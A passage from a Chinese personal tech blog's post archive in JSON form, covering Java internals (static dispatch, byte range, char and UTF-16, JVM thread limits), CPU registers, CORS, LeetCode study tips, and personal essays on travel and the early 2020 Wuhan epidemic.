有多种排序算法的动画演示，非常漂亮\n参考\nhttps://www.cnblogs.com/onepixel/p/7674659.html\nhttps://sort.hust.cc/4.shellsort\nhttps://en.wikipedia.org/wiki/Shellsort\nhttps://www.cnblogs.com/chengxiao/p/6194356.html\nhttps://www.kancloud.cn/maliming/leetcode/740190\nhttps://www.cnblogs.com/chengxiao/p/6104371.html\nhttps://brilliant.org/wiki/sorting-algorithms/\n关注公众号 获取更多精彩内容\n","date":"2020-02-17T15:51:18Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-17-shi-da-jing-dian-pai-xu-suan-fa-yi/cover.jpg","permalink":"/p/2020-02-17-shi-da-jing-dian-pai-xu-suan-fa-yi/","title":"十大经典排序算法（一）"},{"content":"\n最近读了些文章，以下的文章并没有对具体算法的解答，有的是一些关于学习、信念等问题的更为抽象的思考和方法论，我个人读完认为挺有用的，分享给大家。\n我知道很多人对于学习，尤其是算法学习是有一些心理障碍，或者缺乏信念，关于如何保持坚定的信念可以看看这篇：别高估自己1年的成就，却低估自己10年的发展\n总结来说：“认知 信念 原则 执行”\n进入正题\n首先是讲学习方法的：如果高效学习有什么秘诀的话，那就都在这里了：）\n文中主要强调几点\n不要完美主义！\n不要过度“学习路径依赖”，学习要冲着自己的目标去\n不要看不起“薄薄”的“傻”教材，这些你看不起的学习材料，可能是你入门某个领域的关键\n不要迷信单一教材\n实践！\ndebug非常非常重要\n量变到质变\n最后，一定要相信时间的力量\n接着是探讨学习算法有没有用的问题：学算法有什么用？唉，对你来说，可能真没用\n文中重点是：\n“算法不是技术领域的唯一的核心竞争力，但无论是一个人，一个企业，还是做一份事业，都需要有核心竞争力。什么都没有，肯定是不行的。很多同学问我，去大厂工作，一定要有算法比赛的成绩吗？答案当然不是。我认识太多大佬，没有参加过任何算法比赛，轻轻松松进大厂。有的大佬在面试时直接说：算法我不太懂，但是设计模式软件架构随便问；有的大佬则本科三年就做出一个简易的操作系统内核，面试时聊os把面试官聊晕；有的大佬在iPhone 3的年代就自学iOS开发，一年时间直接进大厂iOS部门当负责人；有的大佬只有高中学历，考不上大学，自学外挂技术竟然成才，如今成为知名游戏厂商的安全部门技术大拿。\n所以，“没有什么”从来不是问题。关键问题，从来都是：“你有什么”。”\n怎么才叫学会了？ ：什么叫学会了？自己到底有没有学会？知识掌握的七个境界\n也许你会说，我不会算法照样能在大厂混，算法非得学吗？关于这个可以看看这篇：大厂面试为什么总考算法？以及如何避开算法面试。\n关于以上的问题，文中已经有答案了：就是成为领域专家\n最后，祝你成为技术大牛。关于如何成为，可以看看这篇：资深技术 Leader 曹乐：如何成为技术大牛\n文中强调：\n“但其实在成为技术大牛的路上，方法反而是没那么重要的。真正困难的，在于数年，数十年如一日的坚持。太多人遇到挫折，遇到瓶颈，就觉得手头的事情太乏味枯燥，就想要换一个方向，换一个领域，去学新的技术，新的东西。而真正能够成为大牛的，必须是能够青灯古佛，熬得住突破瓶颈前长时间的寂寞的，必须是肯下笨功夫的聪明人**。因此**，和坚持相比，方法其实并没有那么重要。”\n关注公众号 获取更多精彩内容\n","date":"2020-02-15T17:13:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-15-ru-he-xue-xi-suan-fa/cover.jpg","permalink":"/p/2020-02-15-ru-he-xue-xi-suan-fa/","title":"如何学习算法？"},{"content":"\n近期我和家人到四川旅行，其中一个行程是要去九寨沟，我们是驱车从成都出发的，途经都江堰、汶川、松潘，最后到达九寨。\n相信你还记得08年的大地震，我那时在大学读书，只是从电视里看到过灾后的汶川，如今亲眼看到也是蛮感慨的，尤其是我们去的那几天还赶上了邻县一次小震级的地震，更是令人难忘。这是我第一次入川，总有许多问题问导游。我们的导游很能聊天，每经过一个地方都会给我们做很多介绍、讲一些故事。那些有关地震的，有关灾后重建的，有关生存和死亡的，有关希望和未来的故事。有些故事会唤起我十多年前的记忆，虽然人坐在车里，思绪却早已跟着那些故事走下车，想像着自己也是那些故事的见证者。\n车不知开了多久，我们就到了藏区，导游为我们介绍起了藏区的风土人情，她说原来这里很穷，直到政府开发旅游业后，大家才逐渐富裕起来，以前当地的学校很少，尤其是地震前，仅有的学校也很破旧，地震后当地最好的建筑恐怕就是学校了。\n她说：“以前这里的孩子上学没有书本，甚至都没有衣服穿，后来旅游业发展起来了，经济好了，孩子们有衣穿，有书读，学校的老师就告诉孩子们，他们现在拥有的这些都是坐在大巴车上旅行团的叔叔阿姨们带来的。所以每当有旅行团的车经过藏区时，公路旁的孩子们就会高兴地给大巴车行队礼，因为老师告诉他们要懂得感恩”。\n我们去的日子是学校放假的日子，没有在公路两旁看到孩子们。其实从四川回来已经一段时间了，当然 ，那里的自然风光和历史人文深深地吸引过我。而最令我难忘的是导游口中行队礼的孩子们，虽然我没有亲眼看到过他们，但他们在蓝天白云下，一边目送着大巴车一边行着队礼的画面在我脑中永永不能散去。导游说藏区的人们很质朴，孩子们的眼神很清澈，很干净。\n我没有亲眼见过，但我相信。\n听说日本的小朋们过马路时，会给为他们让路的车辆和行人鞠躬，这从我身边去过日本的朋友们那里也得到了证实。他们无不表达了对那些孩子以及那个国家制度和教育的称赞。这里说日本的小朋友的事是因为我听到导游说藏区孩子们时，首先想起来的就是这个。我也不知道为什么，可能是场景比较像。\n不知道你看了我说的这些会有什么感想。我本想通过比较两个故事表达些什么，然而写着写着却又不知所云了，这与我当时听到藏区孩子们的故事时的心情一样\u0026mdash;-五味杂陈。不知道以后我能不能通过文字准确地表达出我的这个情绪和感慨，但至少现在请允许我用这种方式记录下这一切。\n我们途经一些海子，导游说，海子的意思就是海的儿子，当地人把这些湖叫海子。我也想起了诗人海子的几句诗：\n给每一条河每一座山取一个温暖的名字\n陌生人，我也为你祝福\n愿你有一个灿烂的前程\n愿你有情人终成眷属\n愿你在尘世获得幸福\n我只愿面朝大海，春暖花开\n关注公众号 获取更多精彩内容\n","date":"2020-02-04T12:10:39Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-04-gan-en-yu-li-mao/cover.jpg","permalink":"/p/2020-02-04-gan-en-yu-li-mao/","title":"感恩与礼貌"},{"content":"早在22号新闻就说有位来自德国吕贝克大学的冠状病毒研究专家带着抑制病毒的药来华帮忙了。当时看到这条新闻感觉到一丝欣慰。\n最近一位德国小伙也看到了他这位德国同胞的新闻，于是就试着去采访了一下老爷子，老爷子已经在中国了，来听听他说了什么吧，本文的最后有他们的采访视频。\n非常感觉这位同际友人对我们的帮忙，也希望他的箱子里正装着能够解决我们问题的答案！武汉加油！\n","date":"2020-01-26T09:20:05Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-26-ting-ting-xie-dai-bing-du-yi-zhi-ji-fu-hua-bang-zhu-wo-men-d/cover.jpg","permalink":"/p/2020-01-26-ting-ting-xie-dai-bing-du-yi-zhi-ji-fu-hua-bang-zhu-wo-men-d/","title":"听听携带病毒抑制剂赴华帮助我们的德国教授的声音"},{"content":"\n今天不聊技术，说说更重要的。\n我这里只讲事实，不在这些事实的基础上发表意见，最后说两句个人的建议。\n时间回到12月\n武汉市卫生健康委员会对肺炎疫情的情况通报\n12月31日:该病可防可控，未发现明显人传人，未发现医务人员感染，病例27例\n1月3日:未发现明显人传人证据，病例44例\n1月5日:未发现明确人传人证据，未发现医务人员感染，病例49例\n1月12日:无新增病例，无新增死亡病例\n1月14日:无新增病例，无新增死亡病例，泰国通报1例\n1月15日:未发现明确人传人证据，不能排除有限人传人的可能，但持续人传人的风险较低。\n1月16日:新增死亡1例\n1月17日:病例45例，死亡2例 泰国、日本各通报1例\n1月18日:病例62例，死亡2例\n1月19日:病例198例，死亡3例\n1月20日钟南山院士表示:确认新型冠状病毒能人传人，有医务人员感染。\n1月21日:病例258例，死亡6例\n1月23日 武汉封城\n截止到1月23日下午3时，湖北全省病例399例，死亡17例。死亡率4%\n以下来自各信息渠道的综合归纳\n1 部分病例无发热症状\n2 戴口罩 n95 或者医用的，医用的有效防护期为4小时，n95 为3-5天\n3 医学专家建议\n室内通风消毒\n少去人多的地方\n病毒怕热\n戴口罩\n4 目前无治病药，疫苗正在研发\n5 怀疑病毒会进入结膜(眼睛)\n看了以上这些信息和数字不知道你有什么感想，又能得出什么结论，反正我是有很多猜测和感想，最近谣言、阴谋论满天飞，在没有确实证据的前提下，我的那些想法也只能是想法，不会公开发表。所以不管你有什么想法，重要的是要经过自己的独立思考，去求证，而不是选择轻信谣言\n最后是一些个人建议\n多给家人普及科学的防护知识，传递正确的信息，不要轻信和传播谣言，在自己无法判断是不是谣言的情况下先不要传。如有新的信息更新，先主动思考下。\n信息普及的差不多的时候就行了，也别一天没事儿都关注它，保持一个良好的心态和愉快的心情对身体有益，如果说多了反而会给自己和家人增加焦虑和压力，没病也吓出病了。\n","date":"2020-01-23T11:05:56Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-23-ye-shuo-wu-han-yi-qing/cover.jpg","permalink":"/p/2020-01-23-ye-shuo-wu-han-yi-qing/","title":"也说武汉疫情"},{"content":"\n先来看一段代码，想一想输出结果：\n1public class StaticDispatch { 2static abstract class Human{} 3static class Man extends Human{} 4static class Woman extends Human{} 5 6public void sayHello(Human guy){ 7 System.out.println(\u0026#34;hello,guy!\u0026#34;); 8 } 9public void sayHello(Man guy){ 10 System.out.println(\u0026#34;hello,gentleman!\u0026#34;); 11 } 12public void sayHello(Woman guy){ 13 System.out.println(\u0026#34;hello,lady!\u0026#34;); 14 } 15 16public static void main(String[] args){ 17 Human man=new Man(); 18 Human woman=new Woman(); 19 20 StaticDispatch sr=new StaticDispatch(); 21 22 sr.sayHello(man); 23 sr.sayHello(woman); 24 } 25} 它的输出结果为：\n1hello,guy!hello,guy! 这个结果有可能跟你想的不一样，那么是为什么呢？\n由代码可知sayHello方法是重载方法，重载是静态分派典型的应用。\n先来说一下什么是分派？\n根据对象的类型而对方法进行的选择,就是分派(Dispatch)\n分派调用则可能是静态的也可能是动态的，根据分派依据的宗量数（方法的调用者和方法的参数统称为方法的宗量）又可分为单分派和多分派。两类分派方式两两组合便构成了静态单分派、静态多分派、动态单分派、动态多分派四种分派情况。\n动态分派的一个最直接的例子是重写。对于重写，我们已经很熟悉了。\n静态分派(Static Dispatch) 发生在编译时期，分派根据静态类型信息发生。\n方法的接受者（亦即方法的调用者）与方法的参数统称为方法的宗量。分派是根据一个宗量对目标方法进行选择，多分派是根据多于一个宗量对目标方法进行选择，Java 语言的静态分派属于多分派类型。\n方法重载(Overload)就是静态分派。（所谓的：编译时多态）\n**所以，**重载的时候是通过参数的静态类型而不是实际类型作为判断依据的。\n","date":"2020-01-16T04:18:35Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-16-java-fang-fa-zhong-zai-yu-jing-tai-fen-pai/cover.jpg","permalink":"/p/2020-01-16-java-fang-fa-zhong-zai-yu-jing-tai-fen-pai/","title":"java 方法重载与静态分派"},{"content":"\n与java相关的\nJava编译器输出的指令流，基本上是一种基于栈的指令集架构，而与之相对的另外一套常用的指令集架构是基于寄存器的指令集。早期的android，即android4.4之前使用的JVM是Dalvik VM，就是基于寄存器架构的。\n基于栈的指令集主要的优点是可移植，寄存器由硬件直接提供，程序直接依赖这些硬件寄存器则不可避免地受到硬件的约束。\n栈架构指令集的主要缺点是执行速度相对来说会稍慢一些。所有主流物理机的指令集都是寄存器架构。\n看示例找感觉\n以上是一些结论，本文的重点是讨论上文中所提的寄存器，那寄存器是什么呢？其实这些计算机的原理知识之前上学的时候都学过，很遗憾当时听的也很头大，现在都还给老师了。\n进入正题，先来看下维基百科的解释：\n嗯，反正我看完是没什么感觉\n再来看网上的一个例子：\n“现代计算机，虽然性能很高，但是和上世纪7、8十年代的计算机比，其实结构都差不多。**现在讲存储，一般讲有内存和外存，内存一般有寄存器(register)，缓存(cache)和内存(memory)，有些小型应用例如MCU没有cache，甚至没有memory——直接从flash/ROM到register。**寄存器是CPU基础单元，CPU直接处理的内存就它了，好比医院，医生对面的椅子就是寄存器，要看病的病人(data)就坐这个椅子(register)；**已经挂号的(data)进入诊室(cache)排队，其他的就在医院里（memory）。**医生可以操作的就是面对面的病人，其他人要看病（如急病）也需先坐上这个位置，这是最快的。**诊室里的座位相对于cache，一般cache都是sram存储器，速度很快，但一般cpu不会直接访问，而是要把数据挪到register后才可直接操作，而一般的内存为DRAM，速度比SRAM慢多了，而且通过总线访问，速度就更慢了。”\n再看下图：计算机的存储层次（memory hierarchy）之中，寄存器（register）最快，内存其次，最慢的是硬盘。\n最后再看一个计算机的存储体系：\n图中Registers就是寄存器，怎么样，有点感觉了吗？\n从头来说\n假设我们做一个回向电路，把输出连回到输入，我们用OR门举例：\n首先都输入0，那么输出将会是0\n如果将A变成1，那么输出将会是1\n一转眼的功夫输出回到B，那么B为1，OR门看到的结果是输入A、B都为1，\n1 OR 1 仍然为1，所以输出不变\n如果将A变成0，0 OR 1 输出仍然是 1\n**现在我们有个电路能记录1,**然而却有个小问题，就是无论怎么试，都无法从1变回0（如下两图）\n现在看一个相同电路，不过这次用AND 门\nA、B均为1， 1 AND 1 为 1\n如果之后A设置为0，由于是AND门，所以输出为0，B为0\n**这个电路能记录0，和之前那个相反,**无论A设置什么值，电路始终输出0\n现在我们有了能记录0和1的电路\n为了做出有用的存储，我们将两个电路合起来，变成：AND-OR LATCH\n它有两个输入：\n设置（set） 输入，将输出变成1\n复位（reset）输入，将输出变成0\n如果“设置”和“复位”都是0，电路会输出最后放入的内容，**也就是说它存住了1bit的信息！**这就是存储。\n之所以叫“LATCH(闩锁)”，是因为它“锁定”一个特定值并保持状态。将数据放入叫“写入”，将数据输出叫“读取”。好了，现在我们终于有办法存一个bit了。\n麻烦的是用两条线来输入，也就是SET和RESET，有点儿麻烦，为了更易用，我们希望只有一条输入线，将它设为0或1来存储值。还需要一根线来“启用”。“启用”时允许写入，没“启用”时锁定。这条线叫“允许写入线”。加一些额外逻辑门，可以做出以下电路 ：\n这个电路称为“门锁”，因为门可以打开或关上。这个电路稍微有些复杂了。\n我们不想关心单独的逻辑门，我们封装一下，把“门锁”放到盒子里（一个能存单个bit的盒子）。来看下这个新组件：\n我们来测试一下这个新组件，一切都从0开始，如果将输入从0变成1，或从1变成0，什么也不会发生，输出仍然是0 。因为WRITE ENABLE 是关闭的（0），来防止内容变化\n所以当WRITE ENABLE输入1，打开门后可以输入1，并将1存起来，这样输出也是1了。\n我们可以关掉门（WRITE ENABLE =0），输出会保持1，此时输入随便是什么，输出都不会变（保持1）。\n如果再次打开门（WRITE ENABLE =1），如果输入为0，输出也将是0：\n最后关上门，输出会保持0\n当然存1bit没什么大用，但我们没限制只能用一个组件，如果我们并排放8个，可以存8位，比如一个8bit数字。一组这样的组件叫寄存器。寄存器能存多少个Bit,叫“位宽”。早期电脑用8位寄存器，然后是16位，32位，如今很多计算机都有64位宽的寄存器了。\nCPU中寄存器又分为指令寄存器（IR）、程序计数器（PC）、地址寄存器（AR）、数据寄存器（DR）、累加寄存器（AC）、程序状态字寄存器（PSW），这里就不深入讨论了。\n参考 ：\nhttp://www.ruanyifeng.com/blog/2013/10/register.html\nhttps://www.youtube.com/watch?v=fpnE6UAfbtU\nhttps://www.youtube.com/watch?v=cNN_tTXABUA\nhttps://www.youtube.com/watch?time_continue=132\u0026amp;v=TBADs7knuWM\u0026amp;feature=emb_logo\n关注公众号 获取更多精彩内容\n","date":"2020-01-14T14:46:53Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-14-shen-me-shi-ji-cun-qi/cover.jpg","permalink":"/p/2020-01-14-shen-me-shi-ji-cun-qi/","title":"什么是寄存器"},{"content":"\n以下内容适合新生小白，老鸟请继续刷你的题吧\n很多公司都会面试算法题，然而很多小伙伴平时工作很忙，没有时间或没有养成刷题的习惯，面试准备周期时间也很紧张，没办法刷完LeetCode，往往慌慌张张刷了一些题，然而其实效果也不好。\n当然这里还是建议大家平时多看看算法题，毕竟程序=数据结构+算法，对你以后的编程工作来说是大有好处的。如果基于时间紧任务急的前提该怎么刷题呢？以下提供一些个人的思路：\n1 题目很多，不要从头到尾全刷（你的时间恐怕也不够）\n如上图，题目是有分类，有套路的，而大的分类无非**数据结构和算法两类，虽然LeetCode上面有1000多道题了。然而所有题型目前来看是有边界的。****而算法是有套路的！**这些套路仍然我们提到过的算法和数据结构，所以你可以按标签刷，但实际上就算按标签刷题目还是挺多的，如何更高效的刷题呢？\n在git 上(https://github.com/CyC2018/CS-Notes/blob/master/notes/Leetcode%20%E9%A2%98%E8%A7%A3%20-%20%E7%9B%AE%E5%BD%95.md)有前人为我们总结了一个清单，这个清单可以帮助你节省很多时间，你不需要再去找题目，再去花时间想要去做哪些类型的题目（而每个类型也有很多题，多的也有几百道），这个清单帮你从1000多道题中筛选出200多道 经典的题、面试中经常被提到的题。每个类型都会有一些基本描述，告诉你一些关于这个类型的基本知识。个人觉得还是很好的。\n2 刷题数量\n一天1、2题，隔三差五的刷恐怕不行。你需要每天、大量的、集中的刷题。你的面试准备周期你心里有数。另外最好定时定点的刷，有助于养成一个习惯。人是有遗忘曲线的，如果你隔一个星期不刷可能就会忘记之前刷过的一些题了。可以给自己设定一个期限和目标，什么时间内刷多少题，给自己一点点压力。\n3 刷题顺序\n建议从易到难，先来easy的,然后加大难度。\n4 要不要看答案\n有些小伙伴刷题的时候比较抗拒看答案，觉得自己做不出来不服气，一定要自己做出来，看答案就输了，看答案觉得自己很笨、很沮丧什么的。首先这些小伙伴可能比较要强，其实是好事，但要注意我们刷题的核心目的是什么，就像上文第1点说的，题型题目是有边界的，我们通过大量的刷题并不是要达到一个非常高的算法工程师的水平，而是通过刷题 “学会套路，应对套路”，就像应试教育一样，题海战术嘛。你上学的时候有没有被老师带着“刷过卷子” 这里的建议是： 好好分析题目，弄懂题目\n花几分钟时间，自己想解法\n如果几分钟搞不定，可以看答案了（几分钟想不到，几小时也有可能一样，没必要浪费那么多时间了）\n答案能看懂，理解了，不看答案自己再解一遍，有必要的话做笔记（不建议用纸笔，用ipad会比较高效些，方便整理和查阅）\n看了答案还不懂，网上对每个题都有很多前人的优秀题解，再好好参考下，直到看懂了。\n随着你刷的题越来越多，你就会越来越上手，自然而然就没有那么依赖答案\n5 刷题不能死记硬背\n背是背不完的，一道题可以改变的方法有太多，重要的是要理解题，知道题背后的知识点，这样才可以举一反三，知道这些“套路”后，遇到相似题才能自己解出来。 6 学会利用资源\n现在网络上有很多优秀免费的资源，大家要学会利用，不然有时候答案都看不懂的时候怎么办？\n这里分享一些好的资源：\n微信公众号：labuladong\n这个公众号写了很多文章，主要都是算法类的总结和刷题套路，比如动态规划讲的特别好。\nyoutube: Back to Back SWE\nhttps://www.youtube.com/channel/UCmJz2DV1a3yfgrR7GqRtUUA\n特点：黑人小哥，讲的生动有趣，不会觉得无聊。\nB站:\n绵羊教授\nhttps://space.bilibili.com/354892788?from=search\u0026seid=6549052393519048731\n绵羊教授 他的每道题有两个版本，用中文说一遍，再说英文说一遍，如果你准备外企的面试，就可以多看看英文的版本\n小Q刷题\nhttps://space.bilibili.com/149758?from=search\u0026seid=1097042333993831009\n特点：题目刷的全\n花花酱\nhttps://space.bilibili.com/9880352?from=search\u0026seid=9395065874802859629\n特点：题目刷的全（快把LeetCode全刷完了）\ngithub:\nhttps://github.com/MisterBooo/LeetCodeAnimation\n特点：会把题目用动画的方式演示出来\n最后：**面试官考你一道题无非是想通过这道题看看你了不了解它背后的原理知识。**这些知识就是看你知不知道某一个算法或者够不够了解某一个数据结构。\n祝大家刷题顺利！\n关注公众号 获取更多精彩内容\n","date":"2020-01-13T02:53:07Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-13-shi-jian-jin-ren-wu-ji-ru-he-zai-leetcode-shua-ti/cover.jpg","permalink":"/p/2020-01-13-shi-jian-jin-ren-wu-ji-ru-he-zai-leetcode-shua-ti/","title":"时间紧任务急，如何在LeetCode刷题"},{"content":"\n前后端分离后，前端打开控制台一看，怎么有时请求一个后端接口发了两次请求？\n那个options是啥？\n很有可能是因为你发送的是CORS请求(CORS是一个W3C标准，全称是\u0026quot;跨域资源共享\u0026quot;（Cross-origin resource sharing）)，且是非简单请求。\n浏览器将CORS请求分成两类：简单请求（simple request）和非简单请求（not-so-simple request）。\n只要同时满足以下两大条件，就属于简单请求。\n1 请求方法是以下三种方法之一：\nHEAD\nGET\nPOST\n2 HTTP的头信息不超出以下几种字段：\nAccept\nAccept-Language\nContent-Language\nLast-Event-ID\nContent-Type：只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain\n凡是不同时满足上面两个条件，就属于非简单请求。非简单请求的CORS请求，会在正式通信之前，增加一次HTTP查询请求，称为\u0026quot;预检\u0026quot;请求。\u0026ldquo;预检\u0026quot;请求用的请求方法是OPTIONS，表示这个请求是用来询问的。\n参考 ：https://www.ruanyifeng.com/blog/2016/04/cors.html\n关注公众号 获取更多精彩内容\n","date":"2020-01-12T09:11:31Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-12-qian-duan-ji-chu-zhi-shi-zhi-cors/cover.jpg","permalink":"/p/2020-01-12-qian-duan-ji-chu-zhi-shi-zhi-cors/","title":"前端基础知识之CORS"},{"content":"\n具体计算公式如下：\n(MaxProcessMemory - JVMMemory - ReservedOsMemory) / (ThreadStackSize) = Number of threads\nMaxProcessMemory : 进程的最大寻址空间\nJVMMemory : JVM内存\nReservedOsMemory : 保留的操作系统内存，如Native heap，JNI之类，一般100多M\nThreadStackSize : 线程栈的大小，jvm启动时由Xss指定 默认1M\nMaxProcessMemory：如32位的linux默认每个进程最多申请3G的地址空间，64位的操作系统可以支持到46位（64TB）的物理地址空间和47位（128T）的进程虚拟地址空间（linux 64位CPU内存限制）。\nJVM内存：由Heap区和Perm区组成。通过-Xms和-Xmx可以指定heap区大小，通过-XX:PermSize和-XX:MaxPermSize指定perm区的大小(默认从32MB 到64MB，和JVM版本有关)。\n总结下影响Java线程数量的因素：\nJava虚拟机本身：-Xms，-Xmx，-Xss；\n系统限制：\n/proc/sys/kernel/pid\\_max /proc/sys/kernel/thread-max /max\\_user\\_process（ulimit -u） /proc/sys/vm/max\\_map\\_count 想增加线程数，在JVM内部可以通过减少最大堆或减少栈容量来实现\nbtw\n看生活大爆炸 谢耳朵说他最喜欢的数字 还挺有意思的![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-10-jvm-zui-duo-ke-yi-chuang-jian-duo-shao-xian-cheng/002-5414ca5a.png) 73是第21个素数 反过来 37是第12个素数 12 vs 21= 7 \\* 3 二进制的73 = 1001001 是一个回文数 ","date":"2020-01-10T23:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-10-jvm-zui-duo-ke-yi-chuang-jian-duo-shao-xian-cheng/cover.jpg","permalink":"/p/2020-01-10-jvm-zui-duo-ke-yi-chuang-jian-duo-shao-xian-cheng/","title":"JVM最多可以创建多少线程？"},{"content":"\n我们知道java中基本类型byte占8 bits,取值范围是-128到最+127，从这个正负号大家也能看出表示这个范围的二进制数是有符号位的，就是第一位。\n比如+127是 0111 1111 而 -128是 1000 0000\n正数好理解，负数是通过原码取反后+1 生成的补码表示\n比如-3的 源码是 1000 0011 反码是 1111 1100 补码是 1111 1101\n计算机得到 1111 1101 后经过计算就知道是-3了。\n**然而这么算的话，最小的负数应该是 -127，原码为：**1111 1111，补码为 1000 0001 ，为什么会是 -128 呢？\n来看0这个数字如何表示,\n一个 +0 0000 0000\n一个 -0 1000 0000 ？\n而数学只有一个0，就把 0000 0000表示为0，多出的这个一个补码 1000 0000 人为规定为 -128！\n同理，其他边界值比如int的 最小值-231 也是一个道理。\n下面是一道很有意思的小题，大家可以试一下，以下是java代码：\n1byte i =127; 2System.out.println(++i); btw\n一直以来IDEA启动就比较慢（不算项目加载时间，单纯软件的启动时间），不爽它很久了，于是决定优化它，结果发现无论我怎样优化它的软件启动时间都在10秒（不知道正版的用户是不是这样的），据IDEA官方介绍它的2019版本启动时间会更快。\n","date":"2020-01-09T16:02:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-09-java-zhong-byte-wei-8-bits-na-me-128-wei-shen-me-shi-zui-xia/cover.jpg","permalink":"/p/2020-01-09-java-zhong-byte-wei-8-bits-na-me-128-wei-shen-me-shi-zui-xia/","title":"java中 byte为8 bits,那么-128为什么是最小值？"},{"content":"好了，看了标题我知道你有疑问，这里我得承认算并半个标题党吧。\n事情是这样的：\n这里有段程序，你跑一下，结果可能跟你想的不一样\n1 public static void main(String[] args) { 2 String str = \u0026#34;䕫\u0026#34;; 3 System.out.println(str.length()); 4 } 5 6```java 7 8你可能认为字符串长度应该是1吧，为什么会是2呢？这里其实就是所谓的『坑』，说到这个坑，话就有些长了，我们先看一些关于字符的概念。 9 10以下的基础知识我相信大多数开发的同学都知道，如果你明白直接跳过就好。 11 12* * * 13 14Unicode 字符集的出现就是为了统一编码。所谓字符集就是一个由众多不同的字符组成的集合。 15 16Unicode 字符集对每一个字符都分配了一个唯一的 代码点(code point) 用来标识字符本身。 17 18所谓代码点就是一个添加了 U+ 前缀的十六进制整数，如字母 A 的代码点就是 U+0041。 19 20有了Unicode 字符集后，我们要考虑的就是以什么样的方式对这些字符进行传输和存储，这就是 Unicode 编码的实现方式，我们称为 Unicode 转换格式(Unicode Transformation Format，简称 UTF)。我们熟悉的 UTF-8、 UTF-16 等就是不同的 Unicode编码实现方式。 21 22**码点如何转换成UTF的几种形式呢？** 23 24**![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-09-bu-jian-yi-zai-java-cheng-xu-zhong-shi-yong-char-shu-ju-lei-/001-599b53a8.jpg)** 25 26**如上图所示** 27 28- **UTF-32采用的定长四字节则是32位** 29 30- **UTF-8是变长的编码方案，可以有1，2，3，4四种字节组合** 31 32- **UTF-16是一种变长的2或4字节编码模式** 33 34在 Unicode 字符集诞生之初，采用 UCS-2(2-byte Universal Character Set) 这种定长的编码方式对 Unicode 字符集进行编码，这种方式采用 16 bit 的长度来进行字符编码，所以最多可以对 2^16 = 65536 个字符进行编码(编码范围从 U+0000 ~ U+FFFF)。在当时的情况下，设计者们用了不到一半的数量就对所有字符进行了编码，并且认为剩余的空间足够用于未来新增字符的编码。 35 36不幸的是，随着中文、日文、韩文等表意文字不断的加入，Unicode 字符集中的字符数量很快超过了 16 位所能编码的最大字符数量![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-09-bu-jian-yi-zai-java-cheng-xu-zhong-shi-yong-char-shu-ju-lei-/002-e836ff35.png)，于是设计者们对 Unicode 字符集进行了新的设计。 37 38新的设计将字符集中的所有字符分为 17 个 代码平面(code plane)。其中 U+0000 ~ U+FFFF 这个代码点范围被划定为 基本多语言平面(Basic MultilingualPlane，简记为 BMP，如下图第一个花花绿绿的那个)，其余的字符分别划入 16 个 辅助平面(Supplementary Plane)，代码点范围为 U+10000 ~ U+10FFFF，这些处于辅助平面的字符我们称作 **增补字符**(supplementary characters)。 39 40![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-09-bu-jian-yi-zai-java-cheng-xu-zhong-shi-yong-char-shu-ju-lei-/003-70acd495.jpg) 41 42在 Unicode 字符集中的字符被重新划分到不同平面后，需要注意： 43 44BMP 范围内的字符和 UCS-2 下的字符编码基本保持一致，但是 BMP 中的 U+D800 ~ U+DFFF 部分被留空，不分配给任何字符，作用是用于给辅助平面内的字符进行编码。 45 46不是每个平面内的每个位置都被分配给了指定的字符，原因是： 47 48特殊用途，如 BMP 中的 U+D800 ~ U+DFFF 部分； 49 50- 作为保留空间 51 52- 没有足够的字符 53 54* * * 55 56**回答程序输出长度为2而不是1的问题** 57 58我们使用的字符其实不是普通字符，而是增补字符，我们知道 Java 中 char 的长度永远是 16 位，如果我们在字符串中使用了增补字符，那就意味着需要 2 个 char 类型的长度才能存储，对于 String 底层存储字符的数组 value 来说，就需要 2 个数组元素的位置。我们再看一下String 类length方法的源码： 59 60```cs 61/** 62 * Returns the length of this string. 63 * The length is equal to the number of \u0026lt;a href=\u0026#34;Character.html#unicode\u0026#34;\u0026gt;Unicode 64 * code units\u0026lt;/a\u0026gt; in the string. 65 * 66 * @return the length of the sequence of characters represented by this 67 * object. 68 */ 69public int length() { 70return value.length; 71 } 一切就明白了。java 的 String 内部用的 UTF-16 编码，String.length() 直接返回 code unit 的个数，也就是 Java 的 2 字节 char 的个数。\n当然这里不是说绝对不要用char,只是坑多（上面只是其中一个，JDK9还有别的 ），建议少用而已。\n","date":"2020-01-09T05:30:50Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-09-bu-jian-yi-zai-java-cheng-xu-zhong-shi-yong-char-shu-ju-lei-/cover.jpg","permalink":"/p/2020-01-09-bu-jian-yi-zai-java-cheng-xu-zhong-shi-yong-char-shu-ju-lei/","title":"不建议在 Java 程序中使用 char 数据类型"},{"content":"使用IDEA进行远程debug,这个操作大家没用过也听过\n它的实现原理为：本机和远程主机的两个 VM 之间使用 Debug 协议通过 Socket 通信，传递调试指令和调试信息。\n其中，调试的程序常常被称为debugger, 而被调试的程序称为 debuggee。\n在 Debug 领域，JDK 有一套规范与体系来支持，即 Java Platform Debugger Architecture，JPDA 体系。在 JPDA 体系中定义了 三个角色，\n每个角色又对应着不同的技术模块支撑，分别为 